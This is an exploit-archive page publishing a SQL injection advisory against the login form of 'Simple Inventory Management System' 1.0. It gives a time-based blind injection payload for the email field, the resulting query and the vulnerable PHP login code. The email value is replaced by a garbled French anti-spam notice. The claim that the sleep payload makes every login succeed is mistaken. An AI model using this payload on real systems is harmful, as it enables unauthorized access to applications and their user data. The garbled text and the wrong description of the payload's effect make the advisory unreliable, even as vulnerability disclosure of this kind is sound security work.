Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
Change Mirror[11] Download[12]
# Exploit Title: Simple Inventory Management System - SQL Injection
# Google Dork: N/A
# Application: Simple Inventory Management System
# Date: 26.02.2024
# Bugs: SQL Injection
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15419/simple-inventory-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Windows 10 64 bit Wampserver
# CVE : N/A
## Vulnerability Description:
This code snippet is potentially vulnerable to SQL Injection. User inputs ($_POST['email'] and $_POST['pwd']) are directly incorporated into the SQL query without proper validation or sanitization, exposing the application to the risk of manipulation by malicious users. This could allow attackers to inject SQL code through specially crafted input.
## Proof of Concept (PoC):
An example attacker could input the following values:
email:Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser. '%2b(select*from(select(sleep(20)))a)%2b'
pwd: test
This would result in the following SQL query:
SELECT * FROM users WHERE email =Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser. '+(select*from(select(sleep(20)))a)+'' AND password = 'anything'
This attack would retrieve all users, making the login process always successful.
request-response foto:https://i.imgur.com/slkzYJt.png
## Vulnerable code section:
====================================================
ims/login.php
<?php
ob_start();
session_start();
include('inc/header.php');
$loginError = '';
if (!empty($_POST['email']) && !empty($_POST['pwd'])) {
include 'Inventory.php';
$inventory = new Inventory();
// Vulnerable code
$login = $inventory->login($_POST['email'], $_POST['pwd']);
//
if(!empty($login)) {
$_SESSION['userid'] = $login[0]['userid'];
$_SESSION['name'] = $login[0]['name'];
header("Location:index.php");
} else {
$loginError = "Invalid email or password!";
}
}
?>
File Tags
- ActiveX[18] (933)
- Advisory[19] (84,277)
- Arbitrary[20] (16,559)
- BBS[21] (2,859)
- Bypass[22] (1,815)
- CGI[23] (1,032)
- Code Execution[24] (7,568)
- Conference[25] (687)
- Cracker[26] (844)
- CSRF[27] (3,369)
- DoS[28] (24,339)
- Encryption[29] (2,381)
- Exploit[30] (52,561)
- File Inclusion[31] (4,242)
- File Upload[32] (982)
- Firewall[33] (822)
- Info Disclosure[34] (2,830)
- Intrusion Detection[35] (905)
- Java[36] (3,114)
- JavaScript[37] (887)
- Kernel[38] (6,933)
- Local[39] (14,648)
- Magazine[40] (586)
- Overflow[41] (12,976)
- Perl[42] (1,430)
- PHP[43] (5,170)
- Proof of Concept[44] (2,364)
- Protocol[45] (3,686)
- Python[46] (1,590)
- Remote[47] (31,260)
- Root[48] (3,613)
- Rootkit[49] (519)
- Ruby[50] (616)
- Scanner[51] (1,647)
- Security Tool[52] (7,962)
- Shell[53] (3,231)
- Shellcode[54] (1,216)
- Sniffer[55] (899)
- Spoof[56] (2,253)
- SQL Injection[57] (16,480)
- TCP[58] (2,420)
- Trojan[59] (688)
- UDP[60] (896)
- Virus[61] (668)
- Vulnerability[62] (32,441)
- Web[63] (9,830)
- Whitepaper[64] (3,767)
- x86[65] (966)
- XSS[66] (18,121)
- Other[67]
File Archives
- February 2024[68]
- January 2024[69]
- December 2023[70]
- November 2023[71]
- October 2023[72]
- September 2023[73]
- August 2023[74]
- July 2023[75]
- June 2023[76]
- May 2023[77]
- April 2023[78]
- March 2023[79]
- Older[80]
Systems
- AIX[81] (429)
- Apple[82] (2,060)
- BSD[83] (375)
- CentOS[84] (57)
- Cisco[85] (1,926)
- Debian[86] (6,975)
- Fedora[87] (1,693)
- FreeBSD[88] (1,246)
- Gentoo[89] (4,462)
- HPUX[90] (880)
- iOS[91] (369)
- iPhone[92] (108)
- IRIX[93] (220)
- Juniper[94] (69)
- Linux[95] (48,693)
- Mac OS X[96] (691)
- Mandriva[97] (3,105)
- NetBSD[98] (256)
- OpenBSD[99] (487)
- RedHat[100] (15,147)
- Slackware[101] (941)
- Solaris[102] (1,611)
- SUSE[103] (1,444)
- Ubuntu[104] (9,307)
- UNIX[105] (9,371)
- UnixWare[106] (187)
- Windows[107] (6,630)
- Other[108]
- Services
- Security Services[119]
- Hosting By
- Rokasec[120]